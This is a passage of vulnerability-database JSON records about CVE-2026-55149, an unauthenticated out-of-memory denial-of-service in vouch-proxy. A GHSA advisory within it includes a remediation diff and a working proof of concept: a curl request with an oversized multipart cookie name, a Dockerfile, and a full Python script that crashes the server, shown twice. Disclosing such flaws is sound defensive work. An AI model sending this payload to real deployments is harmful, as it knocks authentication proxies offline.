pass\n        time.sleep(READY_POLL_S)\n    return False\n\n\ndef container_running(name: str) -\u003e bool:\n    \"\"\"Return True if the named container is still running.\"\"\"\n    r = subprocess.run(\n        [\"docker\", \"inspect\", \"--format\", \"{{.State.Running}}\", name],\n        capture_output=True, text=True,\n    )\n    return r.returncode == 0 and r.stdout.strip() == \"true\"\n\n\ndef container_exit_code(name: str) -\u003e int | None:\n    \"\"\"Return the exit code of a stopped container, or None if unknown.\"\"\"\n    r = subprocess.run(\n        [\"docker\", \"inspect\", \"--format\", \"{{.State.ExitCode}}\", name],\n        capture_output=True, text=True,\n    )\n    if r.returncode == 0:\n        try:\n            return int(r.stdout.strip())\n        except ValueError:\n            pass\n    return None\n\n\ndef container_oom(name: str) -\u003e bool:\n    \"\"\"Return True if the container was OOM-killed.\"\"\"\n    r = subprocess.run(\n        [\"docker\", \"inspect\", \"--format\", \"{{.State.OOMKilled}}\", name],\n        capture_output=True, text=True,\n    )\n    return r.returncode == 0 and r.stdout.strip() == \"true\"\n\n\ndef get_logs(name: str) -\u003e str:\n    \"\"\"Retrieve stdout+stderr from the container.\"\"\"\n    r = subprocess.run(\n        [\"docker\", \"logs\", name],\n        capture_output=True, text=True,\n    )\n    return (r.stdout + r.stderr).strip()\n\n\n# ──────────────────────────────────────────────────────────\n# Main\n# ──────────────────────────────────────────────────────────\n\ndef main() -\u003e None:\n    parser = argparse.ArgumentParser(description=\"VULN-001 PoC runner\")\n    parser.add_argument(\"--image\",  default=DEFAULT_IMAGE,  help=\"Docker image name\")\n    parser.add_argument(\"--port\",   default=DEFAULT_PORT,   type=int)\n    parser.add_argument(\"--parts\",  default=DEFAULT_PARTS,  type=int,\n                        help=\"N in VouchCookie_1ofN (drives allocation size)\")\n    args = parser.parse_args()\n\n    host       = \"127.0.0.1\"\n    port       = args.port\n    image      = args.image\n    num_parts  = args.parts\n    cookie_val = f\"VouchCookie_1of{num_parts}\"\n\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC — Unbounded Multipart Cookie Allocation DoS\")\n    print(\"=\" * 60)\n    print(f\"  Image  : {image}\")\n    print(f\"  Target : http://{host}:{port}/validate\")\n    print(f\"  Cookie : {cookie_val}=x\")\n    print(f\"  Expected allocation: ~{(num_parts * 16) // (1024**3)} GB\")\n    print()\n\n    # 1. Clean up any leftover container.\n    cleanup(CONTAINER_NAME)\n\n    # 2. Start the vouch-proxy container.\n    #    Memory is uncapped at the Docker level; the Go runtime itself will\n    #    fail the mmap when the host cannot honor the 160 GB request\n    #    (overcommit heuristic or insufficient address space).\n    run_cmd = [\n        \"docker\", \"run\", \"-d\",   # no --rm so logs survive after crash\n        \"--name\", CONTAINER_NAME,\n        \"-p\", f\"{port}:9090\",   # host:container — vouch-proxy always binds :9090 internally\n        image,\n    ]\n    r = run(run_cmd, capture_output=True, text=True)\n    if r.returncode != 0:\n        print(f\"[FAIL] docker run failed:\\n{r.stderr}\")\n        sys.exit(1)\n    container_id = r.stdout.strip()\n    print(f\"[info] container started: {container_id[:12]}\")\n\n    # 3. Wait for the HTTP server to accept connections.\n    print(f\"[info] waiting for server on {host}:{port} (up to {STARTUP_TIMEOUT_S}s) ...\")\n    ready = wait_for_server(host, port, STARTUP_TIMEOUT_S)\n    if not ready:\n        logs = get_logs(CONTAINER_NAME)\n        print(f\"[FAIL] server did not become ready within {STARTUP_TIMEOUT_S}s.\")\n        print(\"[logs]\", logs[-2000:])\n        cleanup(CONTAINER_NAME)\n        sys.exit(1)\n\n    # 4. Send the malicious request.\n    print()\n    print(\"[attack] Sending malicious cookie to /validate ...\")\n    request_line = f\"GET /validate HTTP/1.1 Cookie: {cookie_val}=x\"\n    print(f\"[attack] {request_line}\")\n    print()\n\n    try:\n        conn = http.client.HTTPConnection(host, port, timeout=10)\n        conn.request(\n            \"GET\", \"/validate\",\n            headers={\n                \"Host\": \"app.example.com\",\n                \"Cookie\": f\"{cookie_val}=x\",\n            },\n        )\n        # The server might crash before sending a response.\n        try:\n            resp = conn.getresponse()\n            body = resp.read(512).decode(\"utf-8\", errors=\"replace\")\n            print(f\"[info] got HTTP {resp.status}: {body[:200]}\")\n        except Exception as e:\n            print(f\"[info] connection broken mid-response (expected): {e}\")\n        conn.close()\n    except Exception as e:\n        print(f\"[info] request exception (expected if server crashed): {e}\")\n\n    # 5. Give the container a moment to record its exit state.\n    time.sleep(2)\n\n    # 6. Collect evidence.\n    still_running = container_running(CONTAINER_NAME)\n    exit_code     = container_exit_code(CONTAINER_NAME)\n    oom_killed    = container_oom(CONTAINER_NAME)\n    logs          = get_logs(CONTAINER_NAME)\n\n    print(\"─\" * 60)\n    print(\"[evidence] Container still running :\", still_running)\n    print(\"[evidence] Container exit code      :\", exit_code)\n    print(\"[evidence] OOM-killed flag          :\", oom_killed)\n    print()\n    print(\"[logs] (last 3000 chars of container stdout+stderr):\")\n    print(logs[-3000:] if logs else \"(empty)\")\n    print(\"─\" * 60)\n\n    # 7. Verdict\n    #\n    # Evidence of exploitation (any one suffices):\n    #   (a) Container exited (not still running) after the malicious request.\n    #   (b) Exit code == 2 (Go runtime fatal: out of memory).\n    #   (c) OOMKilled == true (kernel OOM killer fired).\n    #   (d) Logs contain \"out of memory\" or \"runtime: fatal\".\n\n    crashed   = not still_running\n    go_panic  = exit_code == 2\n    oom_kill  = oom_killed\n    log_oom   = (\n        \"out of memory\" in logs.lower()\n        or \"runtime: fatal\" in logs.lower()\n        or \"cannot allocate\" in logs.lower()\n    )\n\n    passed = crashed and (go_panic or oom_kill or log_oom)\n\n    print()\n    if passed:\n        print(\"[PASS] Vulnerability reproduced: server crashed due to unbounded allocation.\")\n        # Extract the key OOM line from logs.\n        oom_lines = [\n            ln for ln in logs.splitlines()\n            if any(kw in ln.lower() for kw in (\"out of memory\", \"cannot allocate\", \"runtime: fatal\", \"oom\"))\n        ]\n        evidence = \"\\n\".join(oom_lines[:5]) if oom_lines else f\"container exited with code {exit_code}\"\n    else:\n        print(\"[FAIL] Could not confirm crash. See logs above for details.\")\n        evidence = logs[-500:] if logs else \"(no logs)\"\n\n    print()\n    result = {\n        \"passed\":        passed,\n        \"verdict\":       \"PASS\" if passed else \"FAIL\",\n        \"reason\": (\n            \"단일 비인증 HTTP 요청으로 서버 프로세스를 OOM 충돌시키는 취약점 재현 성공\"\n            if passed else\n            \"컨테이너 충돌을 확인할 수 없음 — 로그 및 종료 코드 참고\"\n        ),\n        \"build_command\": (\n            \"docker build -f vuln-001/Dockerfile \"\n            \"-t vouch-vuln001 \"\n            \"repo\"\n        ),\n        \"run_command\": (\n            f\"docker run --rm -d --name {CONTAINER_NAME} \"\n            f\"-p {port}:9090 {image}\"\n        ),\n        \"poc_command\": (\n            f\"python3 poc.py --image {image} --port {port} --parts {num_parts}\"\n        ),\n        \"evidence\":      evidence,\n        \"artifacts\":     [\"Dockerfile\", \"poc.py\"],\n    }\n\n    result_path = (\n        \"reports/pypiAi_450_vouch__vouch-proxy\"\n        \"/vuln-001/phase2_result.json\"\n    )\n    with open(result_path, \"w\") as fh:\n        json.dump(result, fh, indent=2, ensure_ascii=False)\n    print(f\"[saved] {result_path}\")\n\n    # 8. Cleanup.\n    cleanup(CONTAINER_NAME)\n\n\nif __name__ == \"__main__\":\n    main()\n```","status":"published","published":"2026-08-20T17:26:39Z","modified":"2026-10-01T08:56:50Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-789"],"updated_at":"2026-11-02T14:41:23.783773Z"}],"nvd":[{"id":"CVE-2026-55149","description":"Vouch Proxy is an SSO and OAuth/OIDC login solution for Nginx using the auth_request module. Prior to 0.48.0, Cookie in pkg/cookie/cookie.go parses the total part count from an attacker-controlled multipart cookie name and passes the value to make([]string, numParts) without checking that the value is positive or reasonably bounded. Requests to /validate and /_external-auth-:id reach JWTCacheHandler in pkg/jwtmanager/jwtcache.go, FindJWT in pkg/jwtmanager/jwtmanager.go, and the vulnerable cookie reassembly before JWT validation, so no account or valid session is required. A cookie name such as VouchCookie_1of10000000000 causes an attempted slice allocation of roughly 160 GB and a fatal Go runtime out-of-memory condition, allowing one request to crash the authentication proxy and repeated requests to sustain unavailability. This vulnerability is fixed in 0.48.0.","status":"published","published":"2026-09-15T17:17:21.893Z","modified":"2026-09-30T17:51:56.193Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-789"],"updated_at":"2026-11-02T14:12:47.668237Z"}],"osv":[{"id":"CVE-2026-55149","title":"Vouch Proxy: Unbounded Multipart Cookie Allocation DoS","description":"Vouch Proxy is an SSO and OAuth/OIDC login solution for Nginx using the auth_request module. Prior to 0.48.0, Cookie in pkg/cookie/cookie.go parses the total part count from an attacker-controlled multipart cookie name and passes the value to make([]string, numParts) without checking that the value is positive or reasonably bounded. Requests to /validate and /_external-auth-:id reach JWTCacheHandler in pkg/jwtmanager/jwtcache.go, FindJWT in pkg/jwtmanager/jwtmanager.go, and the vulnerable cookie reassembly before JWT validation, so no account or valid session is required. A cookie name such as VouchCookie_1of10000000000 causes an attempted slice allocation of roughly 160 GB and a fatal Go runtime out-of-memory condition, allowing one request to crash the authentication proxy and repeated requests to sustain unavailability. This vulnerability is fixed in 0.48.0.","status":"published","published":"2026-09-15T16:30:37.58Z","modified":"2026-10-28T02:30:43.892522966Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-789"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"GHSA-qqff-5854-px68","title":"vouch-proxy has an Unbounded Multipart Cookie Allocation DoS","description":"## Unbounded Multipart Cookie Allocation DoS in vouch-proxy\n\n### Summary\n\nvouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The `/validate` endpoint parses the total cookie part count directly from the attacker-controlled cookie name (e.g., `VouchCookie_1of\u003cN\u003e`) and passes it without any bounds check to `make([]string, N)`. A single HTTP request with `N=10000000000` causes the Go runtime to attempt a ~160 GB heap allocation, triggering a fatal out-of-memory error that crashes the server process immediately. No authentication or prior session is required.\n\n### Details\n\nThe vulnerability exists in `pkg/cookie/cookie.go`. The `Cookie()` function iterates over all cookies in the request, identifies multipart cookies by the `_NofM` suffix in their name, and initializes the reassembly slice on the first matching cookie:\n\n```go\n// pkg/cookie/cookie.go:123–130\nxOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\nxyArray := strings.Split(xOFy, \"of\")\nif numParts == -1 {\n    if numParts, err = strconv.Atoi(xyArray[1]); err != nil {\n        return \"\", fmt.Errorf(\"multipart cookie fail: %s\", err)\n    }\n    cookieParts = make([]string, numParts)  // sink: unbounded allocation\n}\n```\n\nThe value in `xyArray[1]` comes directly from the cookie name supplied by the client. There is no maximum value check, no positive-range assertion, and no format validation before `strconv.Atoi` parses it. The result is used as the length argument to `make`, so an attacker who supplies `VouchCookie_1of10000000000` causes the runtime to request approximately `10_000_000_000 × 16 bytes ≈ 160 GB` of memory in a single call.\n\nThe complete exploit path from network entry to crash:\n\n1. `main.go:167` — `/validate` and `/_external-auth-:id` are registered wrapped in `JWTCacheHandler`.\n2. `pkg/jwtmanager/jwtcache.go:54` — `JWTCacheHandler` calls `FindJWT(r)` **before** any authentication check.\n3. `pkg/jwtmanager/jwtmanager.go:228` — `FindJWT` calls `cookie.Cookie(r)`.\n4. `pkg/cookie/cookie.go:109` — `r.Cookies()` reads the attacker-supplied `Cookie:` header.\n5. `pkg/cookie/cookie.go:124` — cookie name suffix is split on `\"of\"`.\n6. `pkg/cookie/cookie.go:126` — `strconv.Atoi(xyArray[1])` parses the attacker-controlled total.\n7. `pkg/cookie/cookie.go:130` — **sink**: `make([]string, numParts)` attempts a gigantic heap allocation.\n\nBecause the code path is exercised before JWT validation, no session token, credentials, or prior authentication are needed.\n\nA suggested remediation is to add a strict upper bound and format validation before the allocation:\n\n```diff\n--- a/pkg/cookie/cookie.go\n+++ b/pkg/cookie/cookie.go\n@@ const maxCookieSize = 4000\n+const maxCookieParts = 32\n@@\n-    xOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\n-    xyArray := strings.Split(xOFy, \"of\")\n+    xOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\n+    partStr, totalStr, ok := strings.Cut(xOFy, \"of\")\n+    if !ok || partStr == \"\" || totalStr == \"\" {\n+        return \"\", fmt.Errorf(\"multipart cookie fail: invalid cookie part name\")\n+    }\n     if numParts == -1 {\n-        if numParts, err = strconv.Atoi(xyArray[1]); err != nil {\n+        if numParts, err = strconv.Atoi(totalStr); err != nil {\n             return \"\", fmt.Errorf(\"multipart cookie fail: %s\", err)\n         }\n+        if numParts \u003c 1 || numParts \u003e maxCookieParts {\n+            return \"\", fmt.Errorf(\"multipart cookie fail: invalid part count %d\", numParts)\n+        }\n         cookieParts = make([]string, numParts)\n     }\n```\n\n### PoC\n\n**Environment setup**\n\nBuild the vulnerable image from source (requires the vouch-proxy repository at the path below):\n\n```bash\ndocker build \\\n  -f vuln-001/Dockerfile \\\n  -t vouch-vuln001 \\\n  repo\n```\n\nStart the container (no memory limit is imposed; the Go runtime itself fails the allocation):\n\n```bash\ndocker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001\n```\n\nWait for the server to respond to a baseline request (expected HTTP 302 or similar):\n\n```bash\ncurl -v http://127.0.0.1:19090/validate\n```\n\n**Attack request**\n\nSend a single unauthenticated HTTP GET with the malicious cookie name:\n\n```bash\ncurl -v http://127.0.0.1:19090/validate \\\n  -H 'Host: app.example.com' \\\n  -H 'Cookie: VouchCookie_1of10000000000=x'\n```\n\nAlternatively, run the automated PoC script:\n\n```bash\npython3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000\n```\n\n**Expected result**\n\nThe server process crashes immediately with a Go runtime fatal error. Container logs show:\n\n```\nfatal error: runtime: out of memory\n\nruntime.makeslice(0x0?, 0x0?, 0x0?)\n    /usr/local/go/src/runtime/slice.go:117\ngithub.com/vouch/vouch-proxy/pkg/cookie.Cookie(...)\n    /src/pkg/cookie/cookie.go:130\ngithub.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...)\n    /src/pkg/jwtmanager/jwtmanager.go:228\nmain.main.JWTCacheHandler.func1(...)\n    /src/pkg/jwtmanager/jwtcache.go:54\n```\n\nThe container exits with code 2 (Go runtime fatal). The `curl` client receives an empty reply. The attack is 100% deterministic and reproducible on every run.\n\n**Minimal configuration** (no real OAuth provider required):\n\n```yaml\nvouch:\n  logLevel: info\n  listen: 0.0.0.0\n  port: 9090\n  domains:\n    - vouch.github.io\noauth:\n  provider: indieauth\n  client_id: http://vouch.github.io\n  auth_url: https://indielogin.com/auth\n  callback_url: http://vouch.github.io:9090/auth\n```\n\n### Impact\n\nThis is an unauthenticated remote denial-of-service vulnerability. Any network-reachable vouch-proxy instance running with a default or standard configuration is affected.\n\nAn attacker who can send a single HTTP request to the `/validate` or `/_external-auth-:id` endpoint can crash the vouch-proxy process immediately. In containerized deployments the container restarts; a persistent attacker can send the request again immediately after restart, keeping the proxy permanently unavailable. Since vouch-proxy is used as an authentication gateway in front of protected applications, its unavailability can result in downstream services becoming inaccessible or, depending on the reverse-proxy fail-open/fail-closed policy, unintentionally exposed.\n\nNo authentication, session, or prior account is required. The attack is reliable across all deployment configurations because the default cookie name (`VouchCookie`) is used and the vulnerable code path is exercised unconditionally on every request to the listed endpoints.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 — Unbounded Multipart Cookie Allocation DoS\n# vouch/vouch-proxy v0.47.2 (commit b683f60)\n#\n# Attack: GET /validate with Cookie: VouchCookie_1of\u003cHUGE\u003e=x\n#   -\u003e cookie.Cookie() calls strconv.Atoi on the attacker-controlled total\n#   -\u003e make([]string, \u003cHUGE\u003e) triggers an immediate OOM fatal in the Go runtime\n#   -\u003e Server process crashes; no authentication required\n#\n# Build:  docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo\n# Run:    docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln001\n\n# ---------- Stage 1: compile vouch-proxy from source ----------\nFROM golang:1.26 AS builder\n\nWORKDIR /src\nCOPY . .\n\n# Build a statically linked binary; skip do.sh which requires live git tags.\n# Version ldflags are pinned to the affected commit for reproducibility.\nRUN CGO_ENABLED=0 GOOS=linux \\\n    go build -v \\\n      -ldflags=\"-s -w \\\n        -X main.version=b683f60 \\\n        -X main.uname=linux \\\n        -X main.builddt=2024-01-01T00:00:00Z \\\n        -X main.host=vuln-poc \\\n        -X main.semver=v0.47.2 \\\n        -X main.branch=main\" \\\n      -o /vouch-proxy .\n\n# ---------- Stage 2: minimal runtime image ----------\nFROM debian:bookworm-slim\n\nRUN apt-get update \u0026\u0026 \\\n    apt-get install -y --no-install-recommends ca-certificates \u0026\u0026 \\\n    rm -rf /var/lib/apt/lists/*\n\nCOPY --from=builder /vouch-proxy /vouch-proxy\n\n# Minimal config: allowAllUsers so startup succeeds without real OAuth,\n# default cookie name VouchCookie matches the PoC payload.\nRUN mkdir -p /config \u0026\u0026 cat \u003e /config/config.yml \u003c\u003c 'EOF'\nvouch:\n  logLevel: info\n  listen: 0.0.0.0\n  port: 9090\n  domains:\n    - vouch.github.io\noauth:\n  provider: indieauth\n  client_id: http://vouch.github.io\n  auth_url: https://indielogin.com/auth\n  callback_url: http://vouch.github.io:9090/auth\nEOF\n\nEXPOSE 9090\nENTRYPOINT [\"/vouch-proxy\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Proof-of-Concept: Unbounded Multipart Cookie Allocation DoS\nTarget: vouch/vouch-proxy v0.47.2 (commit b683f60)\nFile:   pkg/cookie/cookie.go:126\n\nAttack summary\n--------------\nThe multipart-cookie reassembly routine reads the total part count from the\nattacker-controlled cookie *name* (e.g. VouchCookie_1of\u003cN\u003e) and calls\n    make([]string, N)\nwith no upper-bound check.  The /validate endpoint is reachable without any\nauthentication, so a single HTTP request with N=10_000_000_000 forces the\nGo runtime to attempt a ~160 GB heap allocation, which immediately triggers\n    runtime: out of memory: cannot allocate ...\nand crashes the server process (Go fatal, exit 2).\n\nUsage\n-----\nRun from the repo root (or any directory; paths are absolute):\n\n    python3 poc.py [--image IMAGE] [--port PORT] [--parts N]\n\nDefaults:\n    IMAGE  = vouch-vuln001\n    PORT   = 9090\n    PARTS  = 10000000000   (10 billion -\u003e ~160 GB allocation request)\n\"\"\"\n\nimport argparse\nimport http.client\nimport json\nimport subprocess\nimport sys\nimport time\n\n# ──────────────────────────────────────────────────────────\n# Configuration\n# ──────────────────────────────────────────────────────────\nDEFAULT_IMAGE  = \"vouch-vuln001\"\nDEFAULT_PORT   = 19090        # host port; container always uses 9090 internally\nDEFAULT_PARTS  = 10_000_000_000          # drives make([]string, 10_000_000_000)\nCONTAINER_NAME = \"vouch-vuln001-poc\"\nSTARTUP_TIMEOUT_S = 30                   # seconds to wait for the server to listen\nREADY_POLL_S  = 1.0\n\n\n# ──────────────────────────────────────────────────────────\n# Helpers\n# ──────────────────────────────────────────────────────────\n\ndef run(cmd: list[str], **kwargs) -\u003e subprocess.CompletedProcess:\n    \"\"\"Run a subprocess and return the CompletedProcess.\"\"\"\n    print(f\"[cmd] {' '.join(cmd)}\")\n    return subprocess.run(cmd, **kwargs)\n\n\ndef cleanup(name: str) -\u003e None:\n    \"\"\"Remove an existing container by name, ignoring errors.\"\"\"\n    subprocess.run(\n        [\"docker\", \"rm\", \"-f\", name],\n        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n    )\n\n\ndef wait_for_server(host: str, port: int, timeout: float) -\u003e bool:\n    \"\"\"Poll GET /validate until we get any response (even 401/302) or timeout.\"\"\"\n    deadline = time.monotonic() + timeout\n    while time.monotonic() \u003c deadline:\n        try:\n            conn = http.client.HTTPConnection(host, port, timeout=2)\n            conn.request(\"GET\", \"/validate\")\n            resp = conn.getresponse()\n            # Any HTTP response means the server is up.\n            print(f\"[ready] server responded: HTTP {resp.status}\")\n            conn.close()\n            return True\n        except OSError:\n            pass\n        time.sleep(READY_POLL_S)\n    return False\n\n\ndef container_running(name: str) -\u003e bool:\n    \"\"\"Return True if the named container is still running.\"\"\"\n    r = subprocess.run(\n        [\"docker\", \"inspect\", \"--format\", \"{{.State.Running}}\", name],\n        capture_output=True, text=True,\n    )\n    return r.returncode == 0 and r.stdout.strip() == \"true\"\n\n\ndef container_exit_code(name: str) -\u003e int | None:\n    \"\"\"Return the exit code of a stopped container, or None if unknown.\"\"\"\n    r = subprocess.run(\n        [\"docker\", \"inspect\", \"--format\", \"{{.State.ExitCode}}\", name],\n        capture_output=True, text=True,\n    )\n    if r.returncode == 0:\n        try:\n            return int(r.stdout.strip())\n        except ValueError:\n            pass\n    return None\n\n\ndef container_oom(name: str) -\u003e bool:\n    \"\"\"Return True if the container was OOM-killed.\"\"\"\n    r = subprocess.run(\n        [\"docker\", \"inspect\", \"--format\", \"{{.State.OOMKilled}}\", name],\n        capture_output=True, text=True,\n    )\n    return r.returncode == 0 and r.stdout.strip() == \"true\"\n\n\ndef get_logs(name: str) -\u003e str:\n    \"\"\"Retrieve stdout+stderr from the container.\"\"\"\n    r = subprocess.run(\n        [\"docker\", \"logs\", name],\n        capture_output=True, text=True,\n    )\n    return (r.stdout + r.stderr).strip()\n\n\n# ──────────────────────────────────────────────────────────\n# Main\n# ──────────────────────────────────────────────────────────\n\ndef main() -\u003e None:\n    parser = argparse.ArgumentParser(description=\"VULN-001 PoC runner\")\n    parser.add_argument(\"--image\",  default=DEFAULT_IMAGE,  help=\"Docker image name\")\n    parser.add_argument(\"--port\",   default=DEFAULT_PORT,   type=int)\n    parser.add_argument(\"--parts\",  default=DEFAULT_PARTS,  type=int,\n                        help=\"N in VouchCookie_1ofN (drives allocation size)\")\n    args = parser.parse_args()\n\n    host       = \"127.0.0.1\"\n    port       = args.port\n    image      = args.image\n    num_parts  = args.parts\n    cookie_val = f\"VouchCookie_1of{num_parts}\"\n\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC — Unbounded Multipart Cookie Allocation DoS\")\n    print(\"=\" * 60)\n    print(f\"  Image  : {image}\")\n    print(f\"  Target : http://{host}:{port}/validate\")\n    print(f\"  Cookie : {cookie_val}=x\")\n    print(f\"  Expected allocation: ~{(num_parts * 16) // (1024**3)} GB\")\n    print()\n\n    # 1. Clean up any leftover container.\n    cleanup(CONTAINER_NAME)\n\n    # 2. Start the vouch-proxy container.\n    #    Memory is uncapped at the Docker level; the Go runtime itself will\n    #    fail the mmap when the host cannot honor the 160 GB request\n    #    (overcommit heuristic or insufficient address space).\n    run_cmd = [\n        \"docker\", \"run\", \"-d\",   # no --rm so logs survive after crash\n        \"--name\", CONTAINER_NAME,\n        \"-p\", f\"{port}:9090\",   # host:container — vouch-proxy always binds :9090 internally\n        image,\n    ]\n    r = run(run_cmd, capture_output=True, text=True)\n    if r.returncode != 0:\n        print(f\"[FAIL] docker run failed:\\n{r.stderr}\")\n        sys.exit(1)\n    container_id = r.stdout.strip()\n    print(f\"[info] container started: {container_id[:12]}\")\n\n    # 3. Wait for the HTTP server to accept connections.\n    print(f\"[info] waiting for server on {host}:{port} (up to {STARTUP_TIMEOUT_S}s) ...\")\n    ready = wait_for_server(host, port, STARTUP_TIMEOUT_S)\n    if not ready:\n        logs = get_logs(CONTAINER_NAME)\n        print(f\"[FAIL] server did not become ready within {STARTUP_TIMEOUT_S}s.\")\n        print(\"[logs]\", logs[-2000:])\n        cleanup(CONTAINER_NAME)\n        sys.exit(1)\n\n    # 4. Send the malicious request.\n    print()\n    print(\"[attack] Sending malicious cookie to /validate ...\")\n    request_line = f\"GET /validate HTTP/1.1 Cookie: {cookie_val}=x\"\n    print(f\"[attack] {request_line}\")\n    print()\n\n    try:\n        conn = http.client.HTTPConnection(host, port, timeout=10)\n        conn.request(\n            \"GET\", \"/validate\",\n            headers={\n                \"Host\": \"app.example.com\",\n                \"Cookie\": f\"{cookie_val}=x\",\n            },\n        )\n        # The server might crash before sending a response.\n        try:\n            resp = conn.getresponse()\n            body = resp.read(512).decode(\"utf-8\", errors=\"replace\")\n            print(f\"[info] got HTTP {resp.status}: {body[:200]}\")\n        except Exception as e:\n            print(f\"[info] connection broken mid-response (expected): {e}\")\n        conn.close()\n    except Exception as e:\n        print(f\"[info] request exception (expected if server crashed): {e}\")\n\n    # 5. Give the container a moment to record its exit state.\n    time.sleep(2)\n\n    # 6. Collect evidence.\n    still_running = container_running(CONTAINER_NAME)\n    exit_code     = container_exit_code(CONTAINER_NAME)\n    oom_killed    = container_oom(CONTAINER_NAME)\n    logs          = get_logs(CONTAINER_NAME)\n\n    print(\"─\" * 60)\n    print(\"[evidence] Container still running :\", still_running)\n    print(\"[evidence] Container exit code      :\", exit_code)\n    print(\"[evidence] OOM-killed flag          :\", oom_killed)\n    print()\n    print(\"[logs] (last 3000 chars of container stdout+stderr):\")\n    print(logs[-3000:] if logs else \"(empty)\")\n    print(\"─\" * 60)\n\n    # 7. Verdict\n    #\n    # Evidence of exploitation (any one suffices):\n    #   (a) Container exited (not still running) after the malicious request.\n    #   (b) Exit code == 2 (Go runtime fatal: out of memory).\n    #   (c) OOMKilled == true (kernel OOM killer fired).\n    #   (d) Logs contain \"out of memory\" or \"runtime: fatal\".\n\n    crashed   = not still_running\n    go_panic  = exit_code == 2\n    oom_kill  = oom_killed\n    log_oom   = (\n        \"out of memory\" in logs.lower()\n        or \"runtime: fatal\" in logs.lower()\n        or \"cannot allocate\" in logs.lower()\n    )\n\n    passed = crashed and (go_panic or oom_kill or log_oom)\n\n    print()\n    if passed:\n        print(\"[PASS] Vulnerability reproduced: server crashed due to unbounded allocation.\")\n        # Extract the key OOM line from logs.\n        oom_lines = [\n            ln for ln in logs.splitlines()\n            if any(kw in ln.lower() for kw in (\"out of memory\", \"cannot allocate\", \"runtime: fatal\", \"oom\"))\n        ]\n        evidence = \"\\n\".join(oom_lines[:5]) if oom_lines else f\"container exited with code {exit_code}\"\n    else:\n        print(\"[FAIL] Could not confirm crash. See logs above for details.\")\n        evidence = logs[-500:] if logs else \"(no logs)\"\n\n    print()\n    result = {\n        \"passed\":        passed,\n        \"verdict\":       \"PASS\" if passed else \"FAIL\",\n        \"reason\": (\n            \"단일 비인증 HTTP 요청으로 서버 프로세스를 OOM 충돌시키는 취약점 재현 성공\"\n            if passed else\n            \"컨테이너 충돌을 확인할 수 없음 — 로그 및 종료 코드 참고\"\n        ),\n        \"build_command\": (\n            \"docker build -f vuln-001/Dockerfile \"\n            \"-t vouch-vuln001 \"\n            \"repo\"\n        ),\n        \"run_command\": (\n            f\"docker run --rm -d --name {CONTAINER_NAME} \"\n            f\"-p {port}:9090 {image}\"\n        ),\n        \"poc_command\": (\n            f\"python3 poc.py --image {image} --port {port} --parts {num_parts}\"\n        ),\n        \"evidence\":      evidence,\n        \"artifacts\":     [\"Dockerfile\", \"poc.py\"],\n    }\n\n    result_path = (\n        \"reports/pypiAi_450_vouch__vouch-proxy\"\n        \"/vuln-001/phase2_result.json\"\n    )\n    with open(result_path, \"w\") as fh:\n        json.dump(result, fh, indent=2, ensure_ascii=False)\n    print(f\"[saved] {result_path}\")\n\n    # 8. Cleanup.\n    cleanup(CONTAINER_NAME)\n\n\nif __name__ == \"__main__\":\n    main()\n```","status":"published","published":"2026-08-20T17:26:39Z","modified":"2026-08-26T01:21:46.63274682Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-789"],"updated_at":"2026-11-02T15:46:54.760124Z"},{"id":"GO-2026-6260","title":"vouch-proxy has an Unbounded Multipart Cookie Allocation DoS in github.com/vouch/vouch-proxy","description":"vouch-proxy has an Unbounded Multipart Cookie Allocation DoS in github.com/vouch/vouch-proxy","status":"published","published":"2026-08-25T19:43:10Z","modified":"2026-08-26T01:21:40.783300254Z","updated_at":"2026-11-02T15:47:03.11707Z"},{"id":"openSUSE-SU-2026:21761-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5026 CVE-2026-39821\n  * GO-2026-6225\n  * GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw\n  * GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h\n  * GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q\n  * GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6\n  * GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86\n  * GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p\n  * GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6\n  * GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68\n  * GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v\n  * GO-2026-6262 GHSA-22w5-2fxg-vrwx\n  * GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28\n  * GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j\n  * GO-2026-6265 GHSA-8fxq-53rx-ph5f\n  * GO-2026-6266 CVE-2026-54167 